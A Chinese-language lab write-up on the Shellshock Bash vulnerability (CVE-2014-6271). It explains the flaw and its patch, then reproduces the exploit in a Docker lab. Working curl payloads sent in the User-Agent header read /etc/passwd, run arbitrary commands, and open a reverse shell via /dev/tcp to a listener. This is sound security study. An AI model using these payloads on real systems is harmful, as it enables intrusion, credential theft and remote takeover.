[TOC]
漏洞原理 Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题的是以(){
开头定义的环境变量在命令EVN
中解析成函数后,Bash执行并未推出,而是继续解析并执行shell命令。而其核心的原因在于输入的过滤中没有严格限制边界,也没有作出合法化的参数判断。
在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c
的parse_and_execute
函数中对输入的合法性边界检测,将代码注入的可能性排除。在排除中,主要用到了flag
的两次判断和command
的一次类型匹配,为了能够flag
判断准确,在补丁中预先定义了SEVAL_FUNCDEF
、SEVAL_ONECMD
两个标识作为判断依据。此漏洞的补丁更新有三处,主要进行输入的command进行过滤作用。
1 2 3 4 #define SEVAL_FUNCDEF 0x080 #define SEVAL_ONECMD 0x100
1 2 3 4 5 6 7 8 9 if ((flags & SEVAL_FUNCDEF) && command->type != cmd_function_def ) { internal_warning("%s: ignoring function definition attempt" , from_file); should_jump_to_top_level = 0 ; last_result = last_command_exit_value = EX_BADUSAGE; break }
1 2 3 4 if (flags & SEVAL_ONECMD) break ;
从以上阐述的漏洞原理可知,漏洞的根本原因存在于Bash的ENV
命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,apache2
便可以,其CGI
组件满足远程访问并调用Bash的ENV命令进行访问数据解析功能。漏洞实现远程代码执行原理图如下:
实验环境 VulApps/b/bash/shellshock1_CVE-2014-6271
漏洞复现 本地验证 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 m0nst3r@digapis:~/study/VulApps/b/bash/shellshock1_CVE-2014-6271$ docker run -t -i medicean/vulapps:b_bash_shellshock1 /bin/bash bash-4.3 Vulnerable test bash-4.3 Linux 65ce71c540ba 4.13.0-37-generic bash-4.3 Debian GNU/Linux 8 \n \l bash-4.3 GNU bash, version 4.3.24(1)-release (x86_64-unknown-linux-gnu) Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. bash-4.3
执行命令后,如果显示Vulnerable
,证明系统存在漏洞,可改变echo Vulnerable
为任意命令进行执行。
远程验证 利用VulApps
提供的Docker,看下目录结构:
1 2 3 bash-4.3 bash-4.3 poc.cgi printenv test-cgi
poc.cgi
的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 bash-4.3 echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">' echo '<title>Bash ShellShock</title>' echo '</head>' echo '<body>' echo '<pre>' /usr/bin/env echo '</pre>' echo '</body>' echo '</html>' exit 0
printenv
的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 bash-4.3 print "Content-type: text/plain; charset=iso-8859-1\n\n" ;foreach $var (sort (keys(%ENV))) { $val = $ENV {$var }; $val =~ s|\n|\\n|g; $val =~ s|"|\\" |g; print "${var} =\"${val} \"\n" ; }
test-cgi
的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 bash-4.3 set -fecho "Content-type: text/plain; charset=iso-8859-1" echo echo CGI/1.0 test script report:echo echo argc is $# . argv is "$*" .echo echo SERVER_SOFTWARE = $SERVER_SOFTWARE echo SERVER_NAME = $SERVER_NAME echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE echo SERVER_PROTOCOL = $SERVER_PROTOCOL echo SERVER_PORT = $SERVER_PORT echo REQUEST_METHOD = $REQUEST_METHOD echo HTTP_ACCEPT = "$HTTP_ACCEPT " echo PATH_INFO = "$PATH_INFO " echo PATH_TRANSLATED = "$PATH_TRANSLATED " echo SCRIPT_NAME = "$SCRIPT_NAME " echo QUERY_STRING = "$QUERY_STRING " echo REMOTE_HOST = $REMOTE_HOST echo REMOTE_ADDR = $REMOTE_ADDR echo REMOTE_USER = $REMOTE_USER echo AUTH_TYPE = $AUTH_TYPE echo CONTENT_TYPE = $CONTENT_TYPE echo CONTENT_LENGTH = $CONTENT_LENGTH
运行docker:
1 2 m0nst3r@digapis:~/study/VulApps/b/bash/shellshock1_CVE-2014-6271$ docker run -it -d -p 80:80 medicean/vulapps:b_bash_shellshock1 5f50262d8cbf791142822e857f32f4f8e33920ba2f6484c08e1e4f65749ca41f
访问本地地址:
测试命令如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 m0nst3r@digapis:/$ curl -A '() { :; }; a=`/bin/cat /etc/passwd`;echo $a' "http://127.0.0.1/cgi-bin/poc.cgi" -v * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 ( > GET /cgi-bin/poc.cgi HTTP/1.1 > Host: 127.0.0.1 > User-Agent: () { :; }; a=`/bin/cat /etc/passwd`;echo $a > Accept: */* > < HTTP/1.1 200 OK < Date: Thu, 29 Mar 2018 04:18:39 GMT < Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2 < root: x:0:0:root:/root:/bin/bash < daemon: x:1:1:daemon:/usr/sbin:/usr/sbin/nologin < bin: x:2:2:bin:/bin:/usr/sbin/nologin < sys: x:3:3:sys:/dev:/usr/sbin/nologin < sync : x:4:65534:sync :/bin:/bin/sync < games: x:5:60:games:/usr/games:/usr/sbin/nologin < man: x:6:12:man:/var/cache/man:/usr/sbin/nologin < lp: x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin < mail: x:8:8:mail:/var/mail:/usr/sbin/nologin < news: x:9:9:news:/var/spool/news:/usr/sbin/nologin < uucp: x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin < proxy: x:13:13:proxy:/bin:/usr/sbin/nologin < www-data: x:33:33:www-data:/var/www:/usr/sbin/nologin < backup: x:34:34:backup:/var/backups:/usr/sbin/nologin < list: x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin < irc: x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin < gnats: x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin < nobody: x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin < systemd-timesync: x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false < systemd-network: x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false < systemd-resolve: x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false < systemd-bus-proxy: x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false < Transfer-Encoding: chunked < Content-Type: text/html < <html> <head > <meta http-equiv="Content-Type" content="text/html; charset=utf-8" > <title>Bash ShellShock</title> </head> <body> <pre> SERVER_SIGNATURE= UNIQUE_ID=WrxpH6wRAAIAAAAODMgAAAAF SERVER_PORT=80 HTTP_HOST=127.0.0.1 DOCUMENT_ROOT=/usr/local/apache2/htdocs SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/poc.cgi REQUEST_URI=/cgi-bin/poc.cgi SCRIPT_NAME=/cgi-bin/poc.cgi REMOTE_PORT=43562 PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/usr/local/apache2/cgi-bin SERVER_ADMIN=you@example.com HTTP_ACCEPT=*/* REMOTE_ADDR=172.17.0.1 SHLVL=1 SERVER_NAME=127.0.0.1 SERVER_SOFTWARE=Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2 QUERY_STRING= SERVER_ADDR=172.17.0.2 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET HTTP_USER_AGENT=() { : } _=/usr/bin/env </pre> </body> </html> * Connection
命令中可改变a=`/bin/cat/etc/passwd`;echo $a
为任意命令进行执行。
另外一种命令执行方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 m0nst3r@digapis:/$ curl -A '() { :; }; echo ; echo $(/bin/ls -al /);' "http://127.0.0.1/cgi-bin/poc.cgi" -v * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 ( > GET /cgi-bin/poc.cgi HTTP/1.1 > Host: 127.0.0.1 > User-Agent: () { :; }; echo ; echo $(/bin/ls -al /); > Accept: */* > < HTTP/1.1 200 OK < Date: Thu, 29 Mar 2018 04:21:50 GMT < Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2 < Transfer-Encoding: chunked < Content-Type: text/plain < total 76 drwxr-xr-x 1 root root 4096 Mar 29 03:57 . drwxr-xr-x 1 root root 4096 Mar 29 03:57 .. -rwxr-xr-x 1 root root 0 Mar 29 03:57 .dockerenv drwxr-xr-x 1 root root 4096 Jul 30 2016 bin drwxr-xr-x 2 root root 4096 May 30 2016 boot drwxr-xr-x 5 root root 360 Mar 29 03:57 dev drwxr-xr-x 1 root root 4096 Mar 29 03:57 etc drwxr-xr-x 2 root root 4096 May 30 2016 home drwxr-xr-x 1 root root 4096 Jul 30 2016 lib drwxr-xr-x 2 root root 4096 Jul 27 2016 lib64 drwxr-xr-x 2 root root 4096 Jul 27 2016 media drwxr-xr-x 2 root root 4096 Jul 27 2016 mnt drwxr-xr-x 2 root root 4096 Jul 27 2016 opt dr-xr-xr-x 298 root root 0 Mar 29 03:57 proc drwx------ 2 root root 4096 Jul 27 2016 root drwxr-xr-x 3 root root 4096 Jul 27 2016 run drwxr-xr-x 2 root root 4096 Jul 27 2016 sbin drwxr-xr-x 2 root root 4096 Jul 27 2016 srv dr-xr-xr-x 13 root root 0 Mar 29 04:05 sys drwxrwxrwt 1 root root 4096 Mar 29 03:57 tmp drwxr-xr-x 1 root root 4096 Jul 29 2016 usr drwxr-xr-x 1 root root 4096 Jul 30 2016 var Content-type : text/html <html> <head > <meta http-equiv="Content-Type" content="text/html; charset=utf-8" > <title>Bash ShellShock</title> </head> <body> <pre> SERVER_SIGNATURE= UNIQUE_ID=Wrxp3qwRAAIAAAAHAnkAAAAA SERVER_PORT=80 HTTP_HOST=127.0.0.1 DOCUMENT_ROOT=/usr/local/apache2/htdocs SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/poc.cgi REQUEST_URI=/cgi-bin/poc.cgi SCRIPT_NAME=/cgi-bin/poc.cgi REMOTE_PORT=43590 PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/usr/local/apache2/cgi-bin SERVER_ADMIN=you@example.com HTTP_ACCEPT=*/* REMOTE_ADDR=172.17.0.1 SHLVL=1 SERVER_NAME=127.0.0.1 SERVER_SOFTWARE=Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.1t DAV/2 QUERY_STRING= SERVER_ADDR=172.17.0.2 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET HTTP_USER_AGENT=() { : } _=/usr/bin/env </pre> </body> </html> * Connection
反弹Shell的命令:
1 2 3 4 5 6 7 8 m0nst3r@digapis:/$ curl -A '() { :; }; /bin/bash -i >& /dev/tcp/192.168.0.89/8888 0>&1;' "http://127.0.0.1/cgi-bin/poc.cgi" -v * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 ( > GET /cgi-bin/poc.cgi HTTP/1.1 > Host: 127.0.0.1 > User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.89/8888 0>&1; > Accept: */* >
1 2 3 4 5 6 7 8 9 m0nst3r@digapis:~$ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [172.17.0.2] port 8888 [tcp/*] accepted (family 2, sport 57046) bash-4.3$ ls ls poc.cgi printenv test-cgi bash-4.3$